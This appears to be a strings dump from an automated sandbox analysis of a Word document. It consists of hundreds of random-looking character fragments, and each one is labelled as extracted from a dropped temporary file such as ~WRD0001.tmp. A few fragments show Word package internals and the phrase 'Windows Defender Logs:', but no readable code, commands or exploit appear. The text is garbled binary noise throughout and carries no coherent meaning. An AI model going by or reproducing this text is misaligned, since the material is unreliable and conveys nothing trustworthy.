3}>^a79#,q[~Ie*9?Cl7"iDy| YP'>Je{F)xDHTV77/E?Ry!?s*

Ansi based on Dropped File (~WRD0001.tmp)

3}FVHqNFom<t)K:pX~t)3&X#ueW~Gu2:-96BaqkNXg:+nL}

Ansi based on Dropped File (~WRD0001.tmp)

3~Ie+L#zMH_eGv-)'=U7RU5B"9tusxaO`:R%(V`Vj"'QX&

Ansi based on Dropped File (~WRD0001.tmp)

3~va.sp>]/U<W'a$7N/x(ZL6E5s-54N}6Zvbd(SYOB:x%94H

Ansi based on Dropped File (~WRD0001.tmp)

4#4ZRilZPhyj.LEs{zIRWS'

Ansi based on Dropped File (~WRD0001.tmp)

4#L!~S7==)#X"yYM27h"7

Ansi based on Dropped File (~WRD0001.tmp)

4$lR")5+a0wx1H*ow7!NY#K >Cs91{W$tX0[Y_}l%X~c%P&^?11Ogdq"^?1DJ

Ansi based on Dropped File (~WRD0001.tmp)

4%D>%2xJ:`'5fQ;1@*:CDy@"}F;[p(v}\BKHlwKD?v&2]$yn:=IY[<N2x&gr% m;>'v

Ansi based on Dropped File (~WRD0001.tmp)

4(wa<^N_op\a^o!%.;*

Ansi based on Dropped File (~WRD0001.tmp)

4)UfTrK=lN!|qX1j)RRG

Ansi based on Dropped File (~WRD0001.tmp)

4*}8J$z9Qyq)Gxz4Ru<ogZc=yh"?i<pF&gu%|ez}{QWcnPJRO}uHh?&3U?u@[//KP KtIogO*Q{/anJC>K</|a$@C[20'd~d|IxhXD^pRud]p<?M

Ansi based on Dropped File (~WRD0001.tmp)

4,1nX`EZS~Rx_$"36+4\A/)%"Wt$)z`CLO."W;*=

Ansi based on Dropped File (~WRD0001.tmp)

4/j%JzHBDT:#~Z}&iKK{Dg`V6Q~9BLpOE,FfH:*n_")

Ansi based on Dropped File (~WRD0001.tmp)

4::[PQrF4MdDyd$UPI]Ks0;FgEZJ4s6Q?8njH\sjf;P4/K,y*<\thmYq&bdF3s

Ansi based on Dropped File (~WRD0001.tmp)

4?.Csa&kiddr~IyLnbvfo2uN08QVUjF1n94;`;SL52Y4tl!WtvyP2&)5sKnVZ,kna#4QWWG[BZEsCML[mkY%#U[gzF`w+

Ansi based on Dropped File (~WRD0001.tmp)

4\iB:bwl&=4V".wV0Fm0@$A?HL,t{->HG^>$^BGEDWl`D%Wy'=P*|A=$@@DM<RN5~#

Ansi based on Dropped File (~WRD0001.tmp)

4`$sO##*byyLa"9>HUx!F$0'S)1BzcC-_y6A`R2OT,F^4;:iQQPPPPPPPn2A0dsONiP{ N>X$14=::*,

Ansi based on Dropped File (~WRD0001.tmp)

4bZFlRZ'Ju%3noPuD62

Ansi based on Dropped File (~WRD0001.tmp)

4B~=YIAag+`c*Wi(C~ob_c&LK5+cR\J8D.:WF

Ansi based on Dropped File (~WRD0001.tmp)

4cI=bU'"!t.yWZt)#+,1a(`oq|74&sNkFhbsj#v'NGq(EQ(.8(%EQ(@EQ('trP>Iz(Gt~=,_^!=kPe9/h{iK^+[3;3hPEQE`Nv^#=,;IxUs@N.EL>*[^+O#,gygubn._Vc2 FAF4=4}%pvIkfSI;8 H`.B

Ansi based on Dropped File (~WRD0001.tmp)

4D=yP8s?<B

Ansi based on Dropped File (~WRD0001.tmp)

4D~ax]P!DLOeQ.I6Qh0o8QQ/AK0EG1

Ansi based on Dropped File (~WRD0001.tmp)

4f%-C0X-CvX\AKm~oq2

Ansi based on Dropped File (~WRD0001.tmp)

4f@U,ObquY6atcd&-BIwZ^ph?tC^"y<&B7?/q#oAu|~obv?r|-,nW0HW-&?tq8a>Y4O&r5gQYjRLG

Ansi based on Dropped File (~WRD0001.tmp)

4h0D[p?pLdP41'L@F$d8 LO4lJ{7#d_!%g+_#qdDr*-%WR

Ansi based on Dropped File (~WRD0001.tmp)

4h>>B(3CL:8[;y!fn N{sR"mXTDs<8j6,s)lzwo@`zlWG9ilw==_UZ7<vZO[n.9';,xt4=\gN^

Ansi based on Dropped File (~WRD0001.tmp)

4IkYt5qZC6/A]Ls'%23S{}il_g^CA[g]<?S_]a_~nezBgoml|t%T4&uA,IAp

Ansi based on Dropped File (~WRD0001.tmp)

4lmxEv{N~yz9-I+;U'-uiD0pg$'/Le`1sL4.kd4/k<qTZ

Ansi based on Dropped File (~WRD0001.tmp)

4nj|\*W'znL`mwDXY5G_D(TquQHD&B

Ansi based on Dropped File (~WRD0001.tmp)

4Og)_c#W 9,|f;RJ)

Ansi based on Dropped File (~WRD0001.tmp)

4q.`A 8ZjmHe"84uX!-r0UjZ5

Ansi based on Dropped File (~WRD0001.tmp)

4R_ j)GK;']t|}NMd4p{7~<Z.@uK~3,QG\8Se|}>Y:X=

Ansi based on Dropped File (~WRD0001.tmp)

4RH#_U*('e)E=}Vg

Ansi based on Dropped File (~WRD0001.tmp)

4rumGn+7!/g@*C%~C~h$h),7Vp#`9jqCoJj8q:?rzk

Ansi based on Dropped File (~WRD0001.tmp)

4su2*yZJM\ZT ?lzvMf6Cv@6cl[P+Nw,.&

Ansi based on Dropped File (~WRD0001.tmp)

4v\GiP'I1#pXRmc`H@Ms'HwKK)08`eCyL4!?i4l=^.nl,C0_ZA:OK8@&/{T?t49$UKs.Yv$:P>o<[L}5?u'A.tLxZ&5SD]Mhl<_"Mt~gx>^8A\c\#u;S}[}$-

Ansi based on Dropped File (~WRD0001.tmp)

4Vj3\kQ.hgcY>QD/2?)WS

Ansi based on Dropped File (~WRD0001.tmp)

4Zcgc5eh|2mE[Z~X]O,pb}<Rcy/?\g#SkG=3.7}N4E7)T/Bwq]7?._u$}~yqn>)rw}s7

Ansi based on Dropped File (~WRD0001.tmp)

4|^7"}dXfT\T~/G9G=^vgf;|SC][l|Z9&&;?[O_j#\|sd|Z&:iMxAFa7s~"*Y<w.yT~AOLH(}QS(3_Vzecwau

Ansi based on Dropped File (~WRD0001.tmp)

5%-Vk;Ib2rsFkg*<V@K,>{ZT(OdsnDDDSPq2;-gMO-Bg9fK[S=Nl-eHX1Yu-euVUM?9iJ-O>|Ir%Sy_n(s:Vfm1[Olk=

Ansi based on Dropped File (~WRD0001.tmp)

5%tRv,$c]gBO!B.9z(<|R

Ansi based on Dropped File (~WRD0001.tmp)

5,-0 ZC}1jSalgCeY\GIE9rz7oBpa2} !*,~5;$#_qH|x!#2YLJJ

Ansi based on Dropped File (~WRD0001.tmp)

50@a@11>}c: a1cA:a1cA:a1cA:a1cA:a1cQwUo^|}-J&z!X^qG2"+4Jz{7 ?@}>

Ansi based on Dropped File (~WRD0001.tmp)

52iaIf{i%h1O

Ansi based on Dropped File (~WRD0001.tmp)

55hL}Kg*%

Ansi based on Dropped File (~WRD0001.tmp)

56'Sq]!M/a[=+rfe|^r_2UAAAAAAA;NCzm4Chr#IY'm-`5Ruu%=Yo07yHf.n4IHFxZ1ndK}^?T,sR/tW~5fc/$^BCTS.yy'9$o

Ansi based on Dropped File (~WRD0001.tmp)

59XL=/NB%BX6a]@y[}\-"^Bwfk:RvLW8mqA<tbu_~(^[vu90Jln)'XDWt {Jm:Hn<@gKT\e>t-1VYBEW7?o

Ansi based on Dropped File (~WRD0001.tmp)

5[IL8#%6S.oiKxA#[vZ|=s<8kYhHz~[X_#s+\q

Ansi based on Dropped File (~WRD0001.tmp)

5BR)\{%mm'k{LCa7x

Ansi based on Dropped File (~WRD0001.tmp)

5c=-sB$gQ|N|zCT3LzZo|-[p]ql )>*

Ansi based on Dropped File (~WRD0001.tmp)

5cvz%r\'_GFx&y1c}org4F/~l

Ansi based on Dropped File (~WRD0001.tmp)

5E]vu$*_Yly;1s4,dSE@q([8

Ansi based on Dropped File (~WRD0001.tmp)

5f':2 _wbzJjhWfuqObng F+~|/l;M;iLyW'o!PPP_NtL4Ej-8g~)K3Y*S*((((((R+-&]?ET|`Mq^Q0!ee1NPoPUPXyfo^1io`JmiM3L3XX`u:1a~Z9=~L~k}H-%&JjF0S#h'4=jEyE706D0s<4uhUcq}9f1r~IfJCSq{]Pxs

Ansi based on Dropped File (~WRD0001.tmp)

5G]skykr}OC;lqUE]?|9r[}\tV_a:J:dhv]X:Fk,k9J&Sny<;F4W?-t

Ansi based on Dropped File (~WRD0001.tmp)

5ggEyky Z/Dgz}]|@ByW"Cy@0gCy@0gCy@0gCy@0gCy@0H

Ansi based on Dropped File (~WRD0001.tmp)

5Gm@m(^G]|9(THC1Rc/AL @R

Ansi based on Dropped File (~WRD0001.tmp)

5h_Gch. B*phh

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

5hUz\eWHI|"Bz~4k#QGS'S(1<N

Ansi based on Dropped File (~WRD0001.tmp)

5Jh|J1'?,5tp;A-Mbbw\\n;~3eTyLP

Ansi based on Dropped File (~WRD0001.tmp)

5Jp8}W/7lICWApy[l!.;

Ansi based on Dropped File (~WRD0001.tmp)

5j~uxJ.DH!dSgw37YWn,(0Bi+^'T-QfqO(-a2'[3Ut,A^-8P!iE{r58RB6NqJ]c2Kb?0s.TRJJ'm*cH!{a7z}4r{VIK2+GIr&/K!#IWDlHaj+F2[ F!de^;%C#/=%=*QQ57wqg+VzKShnIuE+

Ansi based on Dropped File (~WRD0001.tmp)

5lR~-\GsBYq<@]C%2e&iOuAB/No&80eq)+!VKY7sA2_?p5n6[H~}q?4I&_p[_;>fnotc8Dpf<Ab22olxU_$\Ft^+Cw\

Ansi based on Dropped File (~WRD0001.tmp)

5l}O'd8csfSiP>ID

Ansi based on Dropped File (~WRD0001.tmp)

5M3&Qgf_ouls^>MWC+#1a0BuI\G!(BuAqu9JUOz)((((bt:mm]X()p8042jq_m)U|aFK]c`6@6(Mu573y'$o6V$MTk[pAPoo@=2lX`j[-dQhfDAAAAAAAGJH3YulbbbMA#eeu%cg%OYR\JU4|SM>9qn22vDcj+yc{:E[?&sz]Q^

Ansi based on Dropped File (~WRD0001.tmp)

5n<n|cm15Q_

Ansi based on Dropped File (~WRD0001.tmp)

5NC"^(nd2

Ansi based on Dropped File (~WRD0001.tmp)

5nOAq1li;!:

Ansi based on Dropped File (~WRD0001.tmp)

5p<IX#|P0u} veZ$.JK$;=(]rZ=rJ\$@:2siEhC4U&*mB2rtC%$O DWb2=9'dO*Sp"p"J;hU"O`J,X2)".Pd;Ke.C/ ||OLpQ#SN#+|x,oUK$iXQ',\la!EV9 q&VCSnaG06PunJ:X@V`FTiNrCXDI$\0KMu _|`8u6rf;vc=Xluq/kz`Tj&ZI0[N5

Ansi based on Dropped File (~WRD0001.tmp)

5q</~LvZtxm]Syr!4*hq~5^{cdaWz74~t&Mx6?K]F3z?e?<bYErQDYrkOjE&,>Bl3):BLut\I)R!#,2gyzSGCQ/kPgg%g>4*,Bvrl?g^"]\dj/24ely{hC?2Z!|VEf~P4?hhn]]mm2v+\ovy?+{k%u3__}>Uk?-{JMuXaFTT6_Z4ngT%/Et^Jor%"M>M'}^6v?t`6(I`N5BxlLt_lC1$I>]idY M''+FmOH$=P^O#w(\CHV+q>4Yt~axB7V3,'+{fc$>%(l/*1G~_$zTw[$U??F~,H&B!]eP!^3[}._U}k6'&":(6WiPTYedXnQoP@l3o}nQ!\&.?<=62;Lw-$0}K3dK``VsVMOdy&E/?hO5}l^9PqaeALVP8~U1<+i+`+gIcEP'*c5w>Mv~Dv>^

Ansi based on Dropped File (~WRD0001.tmp)

5q[NWo<OM&n3g~9zaz'bzsv=-2F0)y&'1.(Mu1~Pf{A.Z&sIzvT\|#BYYVE_8MF`PN(

Ansi based on Dropped File (~WRD0001.tmp)

5sgkbQX~QBxYY.+W798vQ

Ansi based on Dropped File (~WRD0001.tmp)

5VW!.(_WT)l^H^}aKN&g6ha'z!AUIk-m&2PPDKdZ9[X:/bp3&^gERh8|ot"geh{q.\T#|NZ<N9UZz:YGv=:Yl

Ansi based on Dropped File (~WRD0001.tmp)

5ZGrqwy1a~s3r]?s`tmLLu<Gs*&!##q/<5]YGvs(#b/

Ansi based on Dropped File (~WRD0001.tmp)

5{8<G\[A-e5l>V!M46465vzi

Ansi based on Dropped File (~WRD0001.tmp)

6!P_x ]-`K(.zc#Uu"lg\am8'GxniU$=<~3MM`]j\H<@I1V#O_=yIr>Y{yI'<#KnN.=/D*:Vdt8;=65d'y{R:=;t.:X0z?:oY >pYHh^h@t~hrrLO0?A:X_}35<M+kM$#VIFc@j]*84&@4[?9]w=<ps!e- _-@U95@i8_ayS.VgUIF7`=zlq%=BH>GjkB[3.-RR\k~x&Bc<VgK_<l[QyW}D_~S?+r8L`(^'L>{C:1$ve}'y0xW9.?^C

Ansi based on Dropped File (~WRD0001.tmp)

6"iB;L7c+vTO-g]'{%z%)s=FnWo=kbIo')ak[zktN*#);roN.7Z%%[T-FoC/>9Btv=}_\_RqS=r w7i}f%['

Ansi based on Dropped File (~WRD0001.tmp)

6"}]!$^d2Q\\`3_gr]Il`w23EztDWhh%#Xgtu*aE((((((((((<X6{ i^.rBkq0Bh4Yi@VP0U\u4A_zv&?5$+!!qscQ\ ~D7tG9lu*jkkiii!000BCCimm<3aDUvw5$Nb#[5`BBrJ*t8eP!PPPPPPPPPPxw

Ansi based on Dropped File (~WRD0001.tmp)

6$p#(K.m7znd^X~kt+ AYtC0oU.<M?Xq#hyzvx:=%@\.e]#_Xg[H9(B#6.;q:ikT0iB:t^<Ebtkt4UUKcJ{sov%UR{:eS_Yb3;:>8|l/

Ansi based on Dropped File (~WRD0001.tmp)

6+f[+tVIuv[N]'6$9%h?Yh!h+)//0AkdnB |x4{)Czf-@vdZ$AS'.P[DBq!w$X!hJDU,xUp|-/.Dr!TB%k$(R1!dl7C8FX8LY]#~Y7nX0

Ansi based on Dropped File (~WRD0001.tmp)

6-h1KK<8dha>IDy7^iJ-MP8}Ie>

Ansi based on Dropped File (~WRD0001.tmp)

61h#c-3Q'YH{m{[GvuvQUa%l(aX=.J~.l}AZeN

Ansi based on Dropped File (~WRD0001.tmp)

64=<\0c80J*Zq|9wzUc=-f)[)j1?Ian&>,7_2fQ<Ihdi03*YRz.X1zbD\QE%3s(${^*a SB$i14>mzf284J*&GEG)tX6K1cY4_'Ql31Q&0mkgZF/eN{qn7V+=kQC^nvp^|1ia@;/MMKhM7Q"4nYNju"MTRG&

Ansi based on Dropped File (~WRD0001.tmp)

66dnacNH.CmM4BSK8SIQ

Ansi based on Dropped File (~WRD0001.tmp)

68M,Sj4w

Ansi based on Dropped File (~WRD0001.tmp)

68Vjzhk;h/#6h/#h

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

6:1i8bldT7C

Ansi based on Dropped File (~WRD0001.tmp)

6?%5pBm>!.dMj)mh ^zEZT?2S!xM=22Vo5'As}6P-Py9x\:Xh@v?rgJt5lxx<K

Ansi based on Dropped File (~WRD0001.tmp)

6?z6j[QWb+_xf}J5H"kL{PqdbCQVo}n,WhC,%Ps)~1^>>K8Y

Ansi based on Dropped File (~WRD0001.tmp)

6^8D;M"B-nVq}=/OUg~7lW1C!bB>B.zH_R'3C?x\BZt"Vlh$

Ansi based on Dropped File (~WRD0001.tmp)

6a?l|w?I&IKzW_-]g)UO~z]+m>7g&

Ansi based on Dropped File (~WRD0001.tmp)

6b~V>D{-@U=dF$xc([/+>BQm|^A%KljvGVfhe3(TYfGoRQd<ai&ajPmm

Ansi based on Dropped File (~WRD0001.tmp)

6cy`DeY|LA+v$b0[";8<e;Y+Mx:7z6/t7o5';8 \//w}-(7-Xwog[p/>I|K'' mE|*O~Zpppppppq-8888888PmK|7=Kaa8N?|9]09oxmf9n m[h-6K-&F

Ansi based on Dropped File (~WRD0001.tmp)

6D]Dst0nF:CaqF)aLL|8WDnPrp5m2TsR=~_\ejf`5%qfam);o=]uw1@`n7JQuSj"_FkzQG'kzt[}wk?/,G.>t*YZTZuv.jx^_QYy?cxLs+|c3X*Z2"lM>3)}:jZ?|f'5W/lQfG>_[kWac~bH48vJ)Nw`_ZeCb8P4Z8:YU^51@xnx~^3km4R#lObU']4J|VuTagsH0)o55>t8#]^UN+]

Ansi based on Dropped File (~WRD0001.tmp)

6dtcuzj1`Jg:+28&kl?yw/PLpl7<jwIvt"} KeM*7?{4[z"=+ik.qx,Fc]CUU;}3:ytpX%

Ansi based on Dropped File (~WRD0001.tmp)

6EO/n/e<rcg/&-c~zao$7jl!BnFn`(Tfv.xF

Ansi based on Dropped File (~WRD0001.tmp)

6GJIBab<3

Ansi based on Dropped File (~WRD0001.tmp)

6go3Z"z=zu==B-+,q?A(*|)?&@iT^c2$"8anBq6h_EuTS`b}W+nz};W'{#>6>M[z=pE

Ansi based on Dropped File (~WRD0001.tmp)

6g|CcX}d=2l<I*Khnda:;JF9h:}+rK1$DF.^rOgOD3~Dv>^43X.'J:P~bgf"/=)4=gV.f-=Pe.-k%F+#G7t wf`&Fv>Vhu

Ansi based on Dropped File (~WRD0001.tmp)

6Hldl{b*wF7roL

Ansi based on Dropped File (~WRD0001.tmp)

6iD_,|uZ^ty;!Y,}{C/h>PK!Hz)word/_rels/document.xml.rels (Z]o6}`cDCMXP2e3HAz~S;N(sI:j*D(tsq4Lzr5VbINGQsdkz.BTBO*5nZ^@Q={Q]N0Mz7=oJ.Pg n*(iDAj 71@ $g

Ansi based on Dropped File (~WRD0001.tmp)

6j4|A@8t<tfv0'Qgo}"l^!U1#J|[z%AD&/-K]INSAQg/S#8Ohk+)4v?8vuu.~^Y7'ZGgdUJ~-W-

Ansi based on Dropped File (~WRD0001.tmp)

6kv8kTO&J5N1[7DngGiyyz7OTUIc;1+/hY$FK|a,i|7sX-=F[0QD}D"pECk$0n_!|1B6

Ansi based on Dropped File (~WRD0001.tmp)

6MK;RTh'xN_;v;CYf$

Ansi based on Dropped File (~WRD0001.tmp)

6n<>}K@SOX$5p';{b7m"v;nL#lEAa:HUs~{Md>IVrL~5<Y/~/))qI<T~o|>x&j$$E5S@E".7Iq/7!O9l'Ez0LYG+-FSG:7yx,*w/t#x;|z"(LtcG(=>[Io9e

Ansi based on Dropped File (~WRD0001.tmp)

6r'=|@Q#%tih m0!6*uoau8-

Ansi based on Dropped File (~WRD0001.tmp)

6RWg6Do:I[6w0&|E-fB3F-dG.'3DllSp~uS|2"vqIbob2!G(%gizx?'MsQ*%T10U9+=U.o5Gf8}

Ansi based on Dropped File (~WRD0001.tmp)

6S56A16L`"HqQ1MWXQ^^}Q?V]r|BZ0'~yyu[]2/*NjjG@=^)AbjWg5U+]U

Ansi based on Dropped File (~WRD0001.tmp)

6spQKO:~14hJmYh8}99P7*)5S00eKARCZ.jKYn&kv&xs:2X7X<[\'_&9*,o#UtB4C"N'f#nA]nS

Ansi based on Dropped File (~WRD0001.tmp)

6S{=r'(Me1{3Ldu%mf;H?W[w1yDSrm1~#ipyB(y&Q'K8q'%@cEP[x9)>uH._"ID?2,0EfQDEFGek-+=[^AAA;GGTvX^cA#gRlKz.yd9Bm04n0L'ajd7uw6QU`.w+/Fz

Ansi based on Dropped File (~WRD0001.tmp)

6tW$eddddddVy/A07MHRs\^SO{-.)x53Gi5'ip4eo8FGi611ngfsL{kFJOV(r iG<Nm$VWTB7L,'Y:rJ0_9Nm@yWBz3_%7'rbF+N8a~v|'!a*%;zncbF&((LKLUv&A4"Or7&Pn|%n~SSM}

Ansi based on Dropped File (~WRD0001.tmp)

6x53BCc<Wi-K&_~E=(:2"^%C]8Kcnvnxt lVWfBSBGk>*#*Y8~6Rn6z}WI:COsyOD8cH6%_xznKi.g={ek)!g

Ansi based on Dropped File (~WRD0001.tmp)

6x\Qa--oL}RdI%~`9XA;:OtuNN:38S]d%YT[VT rv{<70*JVXfcD{P- TV[U;/tg}y|I|E&D6,fVqykIJSY

Ansi based on Dropped File (~WRD0001.tmp)

6Xr?hT|+.{sj2q-D}1F+c#wU=<PqDu}bzAE5;R1~YiOz>l,~5Yqtu4G0<,BelG|r(Z<pr,Lgb\o~]F=nU41/p?)

Ansi based on Dropped File (~WRD0001.tmp)

6y+X!)|W7rNW,MKMvsO?j]+,%cL}HrLwsoF2'6o{h+

Ansi based on Dropped File (~WRD0001.tmp)

6y/8L{ 5@cO8#[Th}TbF59O9:9&=',%6%/"8%X$K5N {a1CQU3X9srp0vB<P=gT=,}S2bUtMcsT{)1g+M5h9vT+xS,&yANv5hAGk =I-Q{9u&`<L$c1j-@,[sS"|"OW7A.{-\`?\?=$[k'V'Y5#<+GeTE/xdlOlp@A~5 y'XI+x9=y2%1<UsM`|H&zkW

Ansi based on Dropped File (~WRD0001.tmp)

6yb'NN||g<6\Cz^(@Rs[\ZKl9J\}i_Z8a-B,ZCQLKs$}Pv6Q@d

Ansi based on Dropped File (~WRD0001.tmp)

6Z7%z5;V4~[>xLML-Zoh:[Rq-6mS#

Ansi based on Dropped File (~WRD0001.tmp)

6|6&BxBfl185uY0hZ!Y+$=*`4!?3x:}vsE-3}~nnqY'9^q@)E82 $NJ??Z21Ar

Ansi based on Dropped File (~WRD0001.tmp)

6|h`!0OPtK|Ou_fO6p6=j/{P=y-4$IuC{iecuEHKK]'4f>FMNjhqG+tQyv;#ErSfkhF077m^MA5H9EuxzM'uf{:QWkun6nd*u|rWarl-}!

Ansi based on Dropped File (~WRD0001.tmp)

7"oN@4yI

Ansi based on Dropped File (~WRD0001.tmp)

7%5X[9<m>P+(4"BqiS;V<zP+4C ihUM a`R\hWVhmefVa=XO`LN~,2|N<~_*F?tzwsH::44J){Tiaonzai

Ansi based on Dropped File (~WRD0001.tmp)

7%Y9uK8c]FwN\waiU+Z'_<}]O>6y>}kZa7~'-S:~!7GtZ=KovZO~

Ansi based on Dropped File (~WRD0001.tmp)

7(yM']$bq`RR`8@8_BYJ7

Ansi based on Dropped File (~WRD0001.tmp)

7)fLQ#.Ra\?mncib/b&YE4U,4^zH

Ansi based on Dropped File (~WRD0001.tmp)

7*Rs8\+F.]XtHm T+\Y^+Z]iDnjtKTK+H!LO:5Ov|iZh^5P]U|<UO[Sp]Z^-,5JZ.

Ansi based on Dropped File (~WRD0001.tmp)

7+ *BC9EQF1gb6=7D9AB\agB#/"-VqFT}}1D?5XsUME(:kAi1A-"$,&6sL%w7ZcY$_mVo}aQ;KQq@Bks7lN`]sre::DUvN#CmVhoGI-9S,JC,H?`5>8tjI(

Ansi based on Dropped File (~WRD0001.tmp)

7+p],1@|fn6=Z[;F{~1`Vxv>;[ypv,uy]8GR>E.tPA}RJ)tPRJ)7RJ1R.RnL&#\'k{sV_~Iy?>&+C7$6^2V~

Ansi based on Dropped File (~WRD0001.tmp)

7,g6-_[JE1^X?vC^/Csti]5Ob84Pb_N}J1mmZO#zXj,zSX8I)ci35cCgmn'J~2i:}7cxi bLO#0rExsc3z;8:8L+]D-!A[;Q37(%YPg5QQX

Ansi based on Dropped File (~WRD0001.tmp)

7--*~-|*Z~< ti;ahy,?Fq]%B;X#]<B)=!Tw|>WIu4Jq;Z.%PO!s!6L]}rt.Y;h0lx;Y 5:+3r=

Ansi based on Dropped File (~WRD0001.tmp)

7.DkFyVN%ZNe/+>"?'H.xz6@O>1%#1t@]x8X{+/r

Ansi based on Dropped File (~WRD0001.tmp)

70ACQC"ulkQxw$ROPW-eBr"C]"|:q

Ansi based on Dropped File (~WRD0001.tmp)

71:g2?Xc!ZQ'4Witt3mR1;=3]Y>'aRKAf[+~.o`(/QfouF-BWU?&M #_!_&IDAT+QJ?!Y6n<I)?ddddddddddd _vygQ?1/[8AvPq/h}!#########n%=#AlpKei=>\tp!}%oiqjy

Ansi based on Dropped File (~WRD0001.tmp)

74r ^h[oe2AdP4VLesV(M 0u%vTH@FCA ~p?'%Zf0nJWdfBt3}>

Ansi based on Dropped File (~WRD0001.tmp)

74VD..\W.@5!pC+}k?M]Ofy/~<<?}zIxHmAjQe>*?49F>OC(?a+~Bts.>mK}D;-qC!.U;{lW

Ansi based on Dropped File (~WRD0001.tmp)

76Y5Bwm$1',%B\)jKx/?!R$F

Ansi based on Dropped File (~WRD0001.tmp)

77R6E~S'=t-Db=Zae\K`\_*w~@iLz0

Ansi based on Dropped File (~WRD0001.tmp)

78?c>1<{62?_f;

Ansi based on Dropped File (~WRD0001.tmp)

7<i!'tcmf4XW,e_U}GI[,F9i/RCQq1'au&WH066/Wgk5ngvvjev@|q/W*;c{r5"|y>3.$ApbW9.SM_$j/ r#P?A-hmQ?,U)L0L0}O/0E+*'IjUL/ZlDp|$YCqIN=!YC?:3vNAipLUjiMChE]6q yQFP1VP]xy~AG}L#bv[9k6{0"OK<#c&~'HyqO4G.y\OG}Eh#u?eAD=I6xF:hGMOm=orGv!EIl8lc1

Ansi based on Dropped File (~WRD0001.tmp)

7>AlIaxbix^|:-ZCcXMcqR*:D?a2ONt%Bo(6Zl];|8uO:hbzRU)7>

Ansi based on Dropped File (~WRD0001.tmp)

7@t$o;ye`z_9yM19vm/HXO<0K#BuZW.I]+f*,_%5

Ansi based on Dropped File (~WRD0001.tmp)

7@tADG}>?m-v'8S~q/}WL]]^I9.^ZyDDDDDnD:2'?<#?

Ansi based on Dropped File (~WRD0001.tmp)

7_ofv])Q+,2

Ansi based on Dropped File (~WRD0001.tmp)

7CcfOxb8F_nq\#6q/WC[UjOctX;2?.]_.,?0HFOQ*WH8-P]WQy:F[Z[9XwgH"8?EAu

Ansi based on Dropped File (~WRD0001.tmp)

7cyA}AL-jmB?a@wPvi=a

Ansi based on Dropped File (~WRD0001.tmp)

7E!\Mm"%D%GyR[Yz(nI?WD_X\$+*z?*TJD0}w5n?5(S

Ansi based on Dropped File (~WRD0001.tmp)

7eNH~ND>Y'9{|.!yR]B_'4mfMz

Ansi based on Dropped File (~WRD0001.tmp)

7fKC0xd{iv

Ansi based on Dropped File (~WRD0001.tmp)

7f~5\mDut~|2\W#SN_?M'OxEW?+6@0h0Ze6t>+C@.\?gEtQ7{~sm_l&oRkV)

Ansi based on Dropped File (~WRD0001.tmp)

7g=:A!VdZ4WweAXoa$JWdhFW

Ansi based on Dropped File (~WRD0001.tmp)

7h3c/6FUd<H;#Wqey/zy8m>a9tJife2,Q-Y! $;BdN'TNU~>(bZBa

Ansi based on Dropped File (~WRD0001.tmp)

7iIIf->a/'&D0{hf4Bs

Ansi based on Dropped File (~WRD0001.tmp)

7j<i\OjqYd-xIFLZ]S[sG:Ki}V7\'Ovpdjx2"A5w|ScdbJ?X/.t%SnUz_?|oaEge

Ansi based on Dropped File (~WRD0001.tmp)

7kWi6)_Iz

Ansi based on Dropped File (~WRD0001.tmp)

7l.}P!P!P!P!P!P!P!P!P!P!P!P!P!P!P!P!P!P!P!^T!QUyNg!S!_|o]?!.Dz5pEUjR1[8B&;'YR!K}p

Ansi based on Dropped File (~WRD0001.tmp)

7N\}V38wi_"|A`g)P]h*v-%7cIW,)Q~hQGI0cDtX0Q;laPCxy6eIO(gf{G<K\@d|:,jjfR7,CS]E~w1/E}7e5qT`^SRbh`)m3(Kq/M@9CGm*O#}d_arzGX$^,rp)[VQ1>8z99dh <A/gMa7KZd$aYhRKObOPHkx/%gI^HrF;b5N%\6=sg)sdm<~ }VfOTsr?]@P*Ns/(:ux%QxpW#e5&,<fF?QOBgC"i?Y?BB)3=CP\L+!nXNhV#c]Zu

Ansi based on Dropped File (~WRD0001.tmp)

7O$8;zx-^!+ ncSiJr<JZt# [%3?A01Wb39B8Vbn0_ORw}=_`F3E=D

Ansi based on Dropped File (~WRD0001.tmp)

7o$jh!6h!6UmHnHsHuh!6h1hahpUhfhHU-h$f?h$f?hlE5*hyhlEhlEhU*B"CCC2HIIIpJJJJ"KLtLLMMMMzP~P"$a$gdF $$a$gdF "$a$gdKJ$$a$gdKJ gdGgd1+7gd1+7gd

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

7ogd?$d,-DM

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

7ogdfgdHU-gd?gdlEWindows Defender Logs:

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

7PGAy@9lNO}dPsNirB)pm Vj&/lXP'fnZ

Ansi based on Dropped File (~WRD0001.tmp)

7Qx{zB8{<M"vFabW1\Olc2222222 C<.cN83ss>~N'R^y$Gn~r{TW7n(#$,,!G]A'9&q7G@@5q|T?&N+$Z@c/H^r=Q[7eZAe /RPU1"LwW.iJ 'r<.DO3=vpww4wI6jR}A$PT@GDFXL*#>bo|E;g(>v5U/wX5L7Pf}~=N)o7|4Q8%\L@\5O#$>w2 /c~G'5al&rszWKR]!nyet;@$g

Ansi based on Dropped File (~WRD0001.tmp)

7tpWN^,r\6{r'ei3S:{l/x|Q"%okyt>)mZ`Co:u7U77iB+W|jq}PCK&&!eiL\<|?LsO:P=$\c[C-`3u!y@.XzsN?t?e' Vz;t]SxzdYy<OefWD>}yg`qY^<{xnm'5l#[!nm]>$lyUX+/bc]

Ansi based on Dropped File (~WRD0001.tmp)

7VJ?HKgL3K$f]_Y rWerF5-:F7:C2}kOL1}\Got&4=ZGf6}5:'n8*d9O,J+rLY/zRTY6i@>4Ge0>t#0N, >FqR.,}

Ansi based on Dropped File (~WRD0001.tmp)

7vr&O)tO3'j;N

Ansi based on Dropped File (~WRD0001.tmp)

7V~bwWPa$`?3?

Ansi based on Dropped File (~WRD0001.tmp)

7wdflUKfhob<n0cl O3E{b+'\H7)410OE3\c

Ansi based on Dropped File (~WRD0001.tmp)

7wkMRDs50.y[5y9(GN/"dy61rH-KA? SW

Ansi based on Dropped File (~WRD0001.tmp)

7xkAb%@y"o't|g#ckXpqqqqqql"?[~_vdLXA{8R~}

Ansi based on Dropped File (~WRD0001.tmp)

